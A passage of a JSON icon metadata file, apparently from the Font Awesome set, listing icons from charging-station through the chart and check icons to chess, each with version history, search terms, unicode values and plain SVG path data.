        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M155.6 17.3C163 3 179.9-3.6 195 1.9L320 47.5l125-45.6c15.1-5.5 32 1.1 39.4 15.4l78.8 152.9c28.8 55.8 10.3 122.3-38.5 156.6L556.1 413l41-15c16.6-6 35 2.5 41 19.1s-2.5 35-19.1 41l-71.1 25.9L476.8 510c-16.6 6.1-35-2.5-41-19.1s2.5-35 19.1-41l41-15-31.3-86.2c-59.4 5.2-116.2-34-130-95.2L320 188.8l-14.6 64.7c-13.8 61.3-70.6 100.4-130 95.2l-31.3 86.2 41 15c16.6 6 25.2 24.4 19.1 41s-24.4 25.2-41 19.1L92.2 484.1 21.1 458.2c-16.6-6.1-25.2-24.4-19.1-41s24.4-25.2 41-19.1l41 15 31.3-86.2C66.5 292.5 48.1 226 76.9 170.2L155.6 17.3zm44 54.4l-27.2 52.8L261.6 157l13.1-57.9L199.6 71.7zm240.9 0L365.4 99.1 378.5 157l89.2-32.5L440.5 71.7z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M155.6 17.3C163 3 179.9-3.6 195 1.9L320 47.5l125-45.6c15.1-5.5 32 1.1 39.4 15.4l78.8 152.9c28.8 55.8 10.3 122.3-38.5 156.6L556.1 413l41-15c16.6-6 35 2.5 41 19.1s-2.5 35-19.1 41l-71.1 25.9L476.8 510c-16.6 6.1-35-2.5-41-19.1s2.5-35 19.1-41l41-15-31.3-86.2c-59.4 5.2-116.2-34-130-95.2L320 188.8l-14.6 64.7c-13.8 61.3-70.6 100.4-130 95.2l-31.3 86.2 41 15c16.6 6 25.2 24.4 19.1 41s-24.4 25.2-41 19.1L92.2 484.1 21.1 458.2c-16.6-6.1-25.2-24.4-19.1-41s24.4-25.2 41-19.1l41 15 31.3-86.2C66.5 292.5 48.1 226 76.9 170.2L155.6 17.3zm44 54.4l-27.2 52.8L261.6 157l13.1-57.9L199.6 71.7zm240.9 0L365.4 99.1 378.5 157l89.2-32.5L440.5 71.7z"
      }
    },
    "free": ["solid"]
  },
  "charging-station": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5e7"]
      }
    },
    "changes": [
      "5.2.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["electric", "ev", "tesla", "vehicle"]
    },
    "styles": ["solid"],
    "unicode": "f5e7",
    "label": "Charging Station",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M96 0C60.7 0 32 28.7 32 64V448c-17.7 0-32 14.3-32 32s14.3 32 32 32H320c17.7 0 32-14.3 32-32s-14.3-32-32-32V304h16c22.1 0 40 17.9 40 40v32c0 39.8 32.2 72 72 72s72-32.2 72-72V252.3c32.5-10.2 56-40.5 56-76.3V144c0-8.8-7.2-16-16-16H544V80c0-8.8-7.2-16-16-16s-16 7.2-16 16v48H480V80c0-8.8-7.2-16-16-16s-16 7.2-16 16v48H432c-8.8 0-16 7.2-16 16v32c0 35.8 23.5 66.1 56 76.3V376c0 13.3-10.7 24-24 24s-24-10.7-24-24V344c0-48.6-39.4-88-88-88H320V64c0-35.3-28.7-64-64-64H96zM216.9 82.7c6 4 8.5 11.5 6.3 18.3l-25 74.9H256c6.7 0 12.7 4.2 15 10.4s.5 13.3-4.6 17.7l-112 96c-5.5 4.7-13.4 5.1-19.3 1.1s-8.5-11.5-6.3-18.3l25-74.9H96c-6.7 0-12.7-4.2-15-10.4s-.5-13.3 4.6-17.7l112-96c5.5-4.7 13.4-5.1 19.3-1.1z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M96 0C60.7 0 32 28.7 32 64V448c-17.7 0-32 14.3-32 32s14.3 32 32 32H320c17.7 0 32-14.3 32-32s-14.3-32-32-32V304h16c22.1 0 40 17.9 40 40v32c0 39.8 32.2 72 72 72s72-32.2 72-72V252.3c32.5-10.2 56-40.5 56-76.3V144c0-8.8-7.2-16-16-16H544V80c0-8.8-7.2-16-16-16s-16 7.2-16 16v48H480V80c0-8.8-7.2-16-16-16s-16 7.2-16 16v48H432c-8.8 0-16 7.2-16 16v32c0 35.8 23.5 66.1 56 76.3V376c0 13.3-10.7 24-24 24s-24-10.7-24-24V344c0-48.6-39.4-88-88-88H320V64c0-35.3-28.7-64-64-64H96zM216.9 82.7c6 4 8.5 11.5 6.3 18.3l-25 74.9H256c6.7 0 12.7 4.2 15 10.4s.5 13.3-4.6 17.7l-112 96c-5.5 4.7-13.4 5.1-19.3 1.1s-8.5-11.5-6.3-18.3l25-74.9H96c-6.7 0-12.7-4.2-15-10.4s-.5-13.3 4.6-17.7l112-96c5.5-4.7 13.4-5.1 19.3-1.1z"
      }
    },
    "free": ["solid"]
  },
  "chart-area": {
    "aliases": {
      "names": ["area-chart"],
      "unicodes": {
        "secondary": ["10f1fe"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["analytics", "area", "chart", "graph"]
    },
    "styles": ["solid"],
    "unicode": "f1fe",
    "label": "Chart Area",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 64c0-17.7-14.3-32-32-32S0 46.3 0 64V400c0 44.2 35.8 80 80 80H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H80c-8.8 0-16-7.2-16-16V64zm96 288H448c17.7 0 32-14.3 32-32V251.8c0-7.6-2.7-15-7.7-20.8l-65.8-76.8c-12.1-14.2-33.7-15-46.9-1.8l-21 21c-10 10-26.4 9.2-35.4-1.6l-39.2-47c-12.6-15.1-35.7-15.4-48.7-.6L135.9 215c-5.1 5.8-7.9 13.3-7.9 21.1v84c0 17.7 14.3 32 32 32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 64c0-17.7-14.3-32-32-32S0 46.3 0 64V400c0 44.2 35.8 80 80 80H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H80c-8.8 0-16-7.2-16-16V64zm96 288H448c17.7 0 32-14.3 32-32V251.8c0-7.6-2.7-15-7.7-20.8l-65.8-76.8c-12.1-14.2-33.7-15-46.9-1.8l-21 21c-10 10-26.4 9.2-35.4-1.6l-39.2-47c-12.6-15.1-35.7-15.4-48.7-.6L135.9 215c-5.1 5.8-7.9 13.3-7.9 21.1v84c0 17.7 14.3 32 32 32z"
      }
    },
    "free": ["solid"]
  },
  "chart-bar": {
    "aliases": {
      "names": ["bar-chart"],
      "unicodes": {
        "secondary": ["10f080"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.3.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["analytics", "bar", "chart", "graph"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f080",
    "label": "Chart Bar",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M32 32c17.7 0 32 14.3 32 32V400c0 8.8 7.2 16 16 16H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H80c-44.2 0-80-35.8-80-80V64C0 46.3 14.3 32 32 32zm96 96c0-17.7 14.3-32 32-32l192 0c17.7 0 32 14.3 32 32s-14.3 32-32 32l-192 0c-17.7 0-32-14.3-32-32zm32 64H288c17.7 0 32 14.3 32 32s-14.3 32-32 32H160c-17.7 0-32-14.3-32-32s14.3-32 32-32zm0 96H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H160c-17.7 0-32-14.3-32-32s14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M32 32c17.7 0 32 14.3 32 32V400c0 8.8 7.2 16 16 16H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H80c-44.2 0-80-35.8-80-80V64C0 46.3 14.3 32 32 32zm96 96c0-17.7 14.3-32 32-32l192 0c17.7 0 32 14.3 32 32s-14.3 32-32 32l-192 0c-17.7 0-32-14.3-32-32zm32 64H288c17.7 0 32 14.3 32 32s-14.3 32-32 32H160c-17.7 0-32-14.3-32-32s14.3-32 32-32zm0 96H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H160c-17.7 0-32-14.3-32-32s14.3-32 32-32z"
      },
      "regular": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M24 32c13.3 0 24 10.7 24 24V408c0 13.3 10.7 24 24 24H488c13.3 0 24 10.7 24 24s-10.7 24-24 24H72c-39.8 0-72-32.2-72-72V56C0 42.7 10.7 32 24 32zM128 136c0-13.3 10.7-24 24-24l208 0c13.3 0 24 10.7 24 24s-10.7 24-24 24l-208 0c-13.3 0-24-10.7-24-24zm24 72H296c13.3 0 24 10.7 24 24s-10.7 24-24 24H152c-13.3 0-24-10.7-24-24s10.7-24 24-24zm0 96H424c13.3 0 24 10.7 24 24s-10.7 24-24 24H152c-13.3 0-24-10.7-24-24s10.7-24 24-24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M24 32c13.3 0 24 10.7 24 24V408c0 13.3 10.7 24 24 24H488c13.3 0 24 10.7 24 24s-10.7 24-24 24H72c-39.8 0-72-32.2-72-72V56C0 42.7 10.7 32 24 32zM128 136c0-13.3 10.7-24 24-24l208 0c13.3 0 24 10.7 24 24s-10.7 24-24 24l-208 0c-13.3 0-24-10.7-24-24zm24 72H296c13.3 0 24 10.7 24 24s-10.7 24-24 24H152c-13.3 0-24-10.7-24-24s10.7-24 24-24zm0 96H424c13.3 0 24 10.7 24 24s-10.7 24-24 24H152c-13.3 0-24-10.7-24-24s10.7-24 24-24z"
      }
    },
    "free": ["regular", "solid"]
  },
  "chart-column": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bar", "bar chart", "chart", "graph", "track", "trend"]
    },
    "styles": ["solid"],
    "unicode": "e0e3",
    "label": "Chart Column",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767205,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M32 32c17.7 0 32 14.3 32 32V400c0 8.8 7.2 16 16 16H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H80c-44.2 0-80-35.8-80-80V64C0 46.3 14.3 32 32 32zM160 224c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V256c0-17.7 14.3-32 32-32zm128-64V320c0 17.7-14.3 32-32 32s-32-14.3-32-32V160c0-17.7 14.3-32 32-32s32 14.3 32 32zm64 32c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V224c0-17.7 14.3-32 32-32zM480 96V320c0 17.7-14.3 32-32 32s-32-14.3-32-32V96c0-17.7 14.3-32 32-32s32 14.3 32 32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M32 32c17.7 0 32 14.3 32 32V400c0 8.8 7.2 16 16 16H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H80c-44.2 0-80-35.8-80-80V64C0 46.3 14.3 32 32 32zM160 224c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V256c0-17.7 14.3-32 32-32zm128-64V320c0 17.7-14.3 32-32 32s-32-14.3-32-32V160c0-17.7 14.3-32 32-32s32 14.3 32 32zm64 32c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V224c0-17.7 14.3-32 32-32zM480 96V320c0 17.7-14.3 32-32 32s-32-14.3-32-32V96c0-17.7 14.3-32 32-32s32 14.3 32 32z"
      }
    },
    "free": ["solid"]
  },
  "chart-gantt": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["chart", "graph", "track", "trend"]
    },
    "styles": ["solid"],
    "unicode": "e0e4",
    "label": "Chart Gantt",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M32 32c17.7 0 32 14.3 32 32V400c0 8.8 7.2 16 16 16H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H80c-44.2 0-80-35.8-80-80V64C0 46.3 14.3 32 32 32zm96 96c0-17.7 14.3-32 32-32l96 0c17.7 0 32 14.3 32 32s-14.3 32-32 32H160c-17.7 0-32-14.3-32-32zm96 64H352c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32s14.3-32 32-32zm160 96h64c17.7 0 32 14.3 32 32s-14.3 32-32 32H384c-17.7 0-32-14.3-32-32s14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M32 32c17.7 0 32 14.3 32 32V400c0 8.8 7.2 16 16 16H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H80c-44.2 0-80-35.8-80-80V64C0 46.3 14.3 32 32 32zm96 96c0-17.7 14.3-32 32-32l96 0c17.7 0 32 14.3 32 32s-14.3 32-32 32H160c-17.7 0-32-14.3-32-32zm96 64H352c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32s14.3-32 32-32zm160 96h64c17.7 0 32 14.3 32 32s-14.3 32-32 32H384c-17.7 0-32-14.3-32-32s14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "chart-line": {
    "aliases": {
      "names": ["line-chart"],
      "unicodes": {
        "secondary": ["10f201"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "5.3.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "activity",
        "analytics",
        "chart",
        "dashboard",
        "gain",
        "graph",
        "increase",
        "line"
      ]
    },
    "styles": ["solid"],
    "unicode": "f201",
    "label": "Chart Line",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 64c0-17.7-14.3-32-32-32S0 46.3 0 64V400c0 44.2 35.8 80 80 80H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H80c-8.8 0-16-7.2-16-16V64zm406.6 86.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L320 210.7l-57.4-57.4c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L240 221.3l57.4 57.4c12.5 12.5 32.8 12.5 45.3 0l128-128z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 64c0-17.7-14.3-32-32-32S0 46.3 0 64V400c0 44.2 35.8 80 80 80H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H80c-8.8 0-16-7.2-16-16V64zm406.6 86.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L320 210.7l-57.4-57.4c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L240 221.3l57.4 57.4c12.5 12.5 32.8 12.5 45.3 0l128-128z"
      }
    },
    "free": ["solid"]
  },
  "chart-pie": {
    "aliases": {
      "names": ["pie-chart"],
      "unicodes": {
        "secondary": ["10f200"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "5.3.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["analytics", "chart", "diagram", "graph", "pie"]
    },
    "styles": ["solid"],
    "unicode": "f200",
    "label": "Chart Pie",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M304 240V16.6c0-9 7-16.6 16-16.6C443.7 0 544 100.3 544 224c0 9-7.6 16-16.6 16H304zM32 272C32 150.7 122.1 50.3 239 34.3c9.2-1.3 17 6.1 17 15.4V288L412.5 444.5c6.7 6.7 6.2 17.7-1.5 23.1C371.8 495.6 323.8 512 272 512C139.5 512 32 404.6 32 272zm526.4 16c9.3 0 16.6 7.8 15.4 17c-7.7 55.9-34.6 105.6-73.9 142.3c-6 5.6-15.4 5.2-21.2-.7L320 288H558.4z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M304 240V16.6c0-9 7-16.6 16-16.6C443.7 0 544 100.3 544 224c0 9-7.6 16-16.6 16H304zM32 272C32 150.7 122.1 50.3 239 34.3c9.2-1.3 17 6.1 17 15.4V288L412.5 444.5c6.7 6.7 6.2 17.7-1.5 23.1C371.8 495.6 323.8 512 272 512C139.5 512 32 404.6 32 272zm526.4 16c9.3 0 16.6 7.8 15.4 17c-7.7 55.9-34.6 105.6-73.9 142.3c-6 5.6-15.4 5.2-21.2-.7L320 288H558.4z"
      }
    },
    "free": ["solid"]
  },
  "chart-simple": {
    "changes": ["6.0.0-beta3", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["analytics", "bar", "chart", "column", "graph", "row", "trend"]
    },
    "styles": ["solid"],
    "unicode": "e473",
    "label": "Chart Simple",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M160 80c0-26.5 21.5-48 48-48h32c26.5 0 48 21.5 48 48V432c0 26.5-21.5 48-48 48H208c-26.5 0-48-21.5-48-48V80zM0 272c0-26.5 21.5-48 48-48H80c26.5 0 48 21.5 48 48V432c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V272zM368 96h32c26.5 0 48 21.5 48 48V432c0 26.5-21.5 48-48 48H368c-26.5 0-48-21.5-48-48V144c0-26.5 21.5-48 48-48z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M160 80c0-26.5 21.5-48 48-48h32c26.5 0 48 21.5 48 48V432c0 26.5-21.5 48-48 48H208c-26.5 0-48-21.5-48-48V80zM0 272c0-26.5 21.5-48 48-48H80c26.5 0 48 21.5 48 48V432c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V272zM368 96h32c26.5 0 48 21.5 48 48V432c0 26.5-21.5 48-48 48H368c-26.5 0-48-21.5-48-48V144c0-26.5 21.5-48 48-48z"
      }
    },
    "free": ["solid"]
  },
  "check": {
    "aliases": {
      "unicodes": {
        "composite": ["2713", "2714"],
        "secondary": ["10f00c"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Check Mark",
        "accept",
        "agree",
        "check",
        "check mark",
        "checkmark",
        "confirm",
        "correct",
        "done",
        "mark",
        "notice",
        "notification",
        "notify",
        "ok",
        "select",
        "success",
        "tick",
        "todo",
        "yes",
        "✓"
      ]
    },
    "styles": ["solid"],
    "unicode": "f00c",
    "label": "Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M438.6 105.4c12.5 12.5 12.5 32.8 0 45.3l-256 256c-12.5 12.5-32.8 12.5-45.3 0l-128-128c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0L160 338.7 393.4 105.4c12.5-12.5 32.8-12.5 45.3 0z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M438.6 105.4c12.5 12.5 12.5 32.8 0 45.3l-256 256c-12.5 12.5-32.8 12.5-45.3 0l-128-128c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0L160 338.7 393.4 105.4c12.5-12.5 32.8-12.5 45.3 0z"
      }
    },
    "free": ["solid"]
  },
  "check-double": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f560"]
      }
    },
    "changes": [
      "5.1.0",
      "5.8.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "accept",
        "agree",
        "checkmark",
        "confirm",
        "correct",
        "done",
        "notice",
        "notification",
        "notify",
        "ok",
        "select",
        "success",
        "tick",
        "todo"
      ]
    },
    "styles": ["solid"],
    "unicode": "f560",
    "label": "Check Double",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M342.6 86.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L160 178.7l-57.4-57.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l80 80c12.5 12.5 32.8 12.5 45.3 0l160-160zm96 128c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L160 402.7 54.6 297.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l128 128c12.5 12.5 32.8 12.5 45.3 0l256-256z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M342.6 86.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L160 178.7l-57.4-57.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l80 80c12.5 12.5 32.8 12.5 45.3 0l160-160zm96 128c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L160 402.7 54.6 297.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l128 128c12.5 12.5 32.8 12.5 45.3 0l256-256z"
      }
    },
    "free": ["solid"]
  },
  "check-to-slot": {
    "aliases": {
      "names": ["vote-yea"],
      "unicodes": {
        "secondary": ["10f772"]
      }
    },
    "changes": ["5.5.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "accept",
        "cast",
        "election",
        "politics",
        "positive",
        "voting",
        "yes"
      ]
    },
    "styles": ["solid"],
    "unicode": "f772",
    "label": "Check To Slot",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M96 80c0-26.5 21.5-48 48-48H432c26.5 0 48 21.5 48 48V384H96V80zm313 47c-9.4-9.4-24.6-9.4-33.9 0l-111 111-47-47c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l64 64c9.4 9.4 24.6 9.4 33.9 0L409 161c9.4-9.4 9.4-24.6 0-33.9zM0 336c0-26.5 21.5-48 48-48H64V416H512V288h16c26.5 0 48 21.5 48 48v96c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V336z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M96 80c0-26.5 21.5-48 48-48H432c26.5 0 48 21.5 48 48V384H96V80zm313 47c-9.4-9.4-24.6-9.4-33.9 0l-111 111-47-47c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l64 64c9.4 9.4 24.6 9.4 33.9 0L409 161c9.4-9.4 9.4-24.6 0-33.9zM0 336c0-26.5 21.5-48 48-48H64V416H512V288h16c26.5 0 48 21.5 48 48v96c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V336z"
      }
    },
    "free": ["solid"]
  },
  "cheese": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7ef"]
      }
    },
    "changes": ["5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "cheddar",
        "curd",
        "gouda",
        "melt",
        "parmesan",
        "sandwich",
        "swiss",
        "wedge"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7ef",
    "label": "Cheese",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767418,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 240.2V256H0c0-20 10-38.7 26.6-49.8L274.9 40.7c8.6-5.7 18.6-8.7 28.9-8.7C418.8 32 512 125.2 512 240.2zm0 47.8V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V288H512z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M512 240.2V256H0c0-20 10-38.7 26.6-49.8L274.9 40.7c8.6-5.7 18.6-8.7 28.9-8.7C418.8 32 512 125.2 512 240.2zm0 47.8V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V288H512z"
      }
    },
    "free": ["solid"]
  },
  "chess": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f439"]
      }
    },
    "changes": ["5.0.5", "5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "board",
        "castle",
        "checkmate",
        "game",
        "king",
        "rook",
        "strategy",
        "tournament"
      ]
    },
    "styles": ["solid"],
    "unicode": "f439",
    "label": "Chess",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M144 16c0-8.8-7.2-16-16-16s-16 7.2-16 16V32H96c-8.8 0-16 7.2-16 16s7.2 16 16 16h16V96H60.2C49.1 96 40 105.1 40 116.2c0 2.5 .5 4.9 1.3 7.3L73.8 208H72c-13.3 0-24 10.7-24 24s10.7 24 24 24h4L60 384H196L180 256h4c13.3 0 24-10.7 24-24s-10.7-24-24-24h-1.8l32.5-84.5c.9-2.3 1.3-4.8 1.3-7.3c0-11.2-9.1-20.2-20.2-20.2H144V64h16c8.8 0 16-7.2 16-16s-7.2-16-16-16H144V16zM48 416L4.8 473.6C1.7 477.8 0 482.8 0 488c0 13.3 10.7 24 24 24H232c13.3 0 24-10.7 24-24c0-5.2-1.7-10.2-4.8-14.4L208 416H48zm288 0l-43.2 57.6c-3.1 4.2-4.8 9.2-4.8 14.4c0 13.3 10.7 24 24 24H488c13.3 0 24-10.7 24-24c0-5.2-1.7-10.2-4.8-14.4L464 416H336zM304 208v51.9c0 7.8 2.8 15.3 8 21.1L339.2 312 337 384H462.5l-3.3-72 28.3-30.8c5.4-5.9 8.5-13.6 8.5-21.7V208c0-8.8-7.2-16-16-16H464c-8.8 0-16 7.2-16 16v16H424V208c0-8.8-7.2-16-16-16H392c-8.8 0-16 7.2-16 16v16H352V208c0-8.8-7.2-16-16-16H320c-8.8 0-16 7.2-16 16zm80 96c0-8.8 7.2-16 16-16s16 7.2 16 16v32H384V304z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M144 16c0-8.8-7.2-16-16-16s-16 7.2-16 16V32H96c-8.8 0-16 7.2-16 16s7.2 16 16 16h16V96H60.2C49.1 96 40 105.1 40 116.2c0 2.5 .5 4.9 1.3 7.3L73.8 208H72c-13.3 0-24 10.7-24 24s10.7 24 24 24h4L60 384H196L180 256h4c13.3 0 24-10.7 24-24s-10.7-24-24-24h-1.8l32.5-84.5c.9-2.3 1.3-4.8 1.3-7.3c0-11.2-9.1-20.2-20.2-20.2H144V64h16c8.8 0 16-7.2 16-16s-7.2-16-16-16H144V16zM48 416L4.8 473.6C1.7 477.8 0 482.8 0 488c0 13.3 10.7 24 24 24H232c13.3 0 24-10.7 24-24c0-5.2-1.7-10.2-4.8-14.4L208 416H48zm288 0l-43.2 57.6c-3.1 4.2-4.8 9.2-4.8 14.4c0 13.3 10.7 24 24 24H488c13.3 0 24-10.7 24-24c0-5.2-1.7-10.2-4.8-14.4L464 416H336zM304 208v51.9c0 7.8 2.8 15.3 8 21.1L339.2 312 337 384H462.5l-3.3-72 28.3-30.8c5.4-5.9 8.5-13.6 8.5-21.7V208c0-8.8-7.2-16-16-16H464c-8.8 0-16 7.2-16 16v16H424V208c0-8.8-7.2-16-16-16H392c-8.8 0-16 7.2-16 16v16H352V208c0-8.8-7.2-16-16-16H320c-8.8 0-16 7.2-16 16zm80 96c0-8.8 7.2-16 16-16s16 7.2 16 16v32H384V304z"
      }
    },
    "free": ["solid"]
  },
  "chess-bishop": {
    "aliases": {
      "unicodes": {
        "composite": ["265d"],
        "secondary": ["10f43a"]
      }
    },
    "changes": ["5.0.5", "5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
